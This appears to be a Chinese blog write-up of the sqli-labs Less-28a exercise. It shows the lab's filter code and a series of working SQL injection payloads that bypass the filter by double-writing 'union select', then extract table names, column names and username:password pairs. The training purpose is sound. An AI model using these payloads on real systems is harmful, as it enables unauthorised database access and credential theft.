sqli-labs-Less-28a

SQLI-LAPS 实验记录

Less-28a

这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php 复制代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union%09union selectselect 1,database(),3 and ('1')=('1
  • 查找表名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
  • 查找列名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

    查找其他数据:

    php 复制代码
    0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
Mr. zhihao3 分钟前
Agentic 知识库:Agent Wiki不是取代向量数据库,而是让 Agent 学会“多模态思考”
数据库·agent·angetic
爱码小白20 分钟前
MySQL索引与SQL优化
大数据·数据库·python
2303_8212873821 分钟前
MySQL行锁和表锁如何区分_通过explain查看锁等待机制.txt
jvm·数据库·python
是垚不是土24 分钟前
PostgreSQL 运维工程师 “一本通“ :安装、配置、备份与监控
linux·运维·数据库·postgresql·运维开发
i220818 Faiz Ul26 分钟前
宠物猫之猫咖管理系统|基于java + vue宠物猫之猫咖管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·论文·毕设·宠物猫之猫咖管理系统
OceanBase数据库官方博客40 分钟前
OceanBase seekdb-cli:专为 AI Agent 设计的数据库接口
数据库·人工智能·oceanbase
i220818 Faiz Ul43 分钟前
二手交易系统|基于springboot + vue二手交易系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·论文·毕设·二手交易系统
kexnjdcncnxjs1 小时前
如何在Navicat中创建基础数据表_可视化图形界面操作指南
jvm·数据库·python
m0_740796361 小时前
CSS如何兼容新旧方案结合响应式容器查询
jvm·数据库·python
IronMurphy1 小时前
Redis拷打第三讲
数据库·redis·mybatis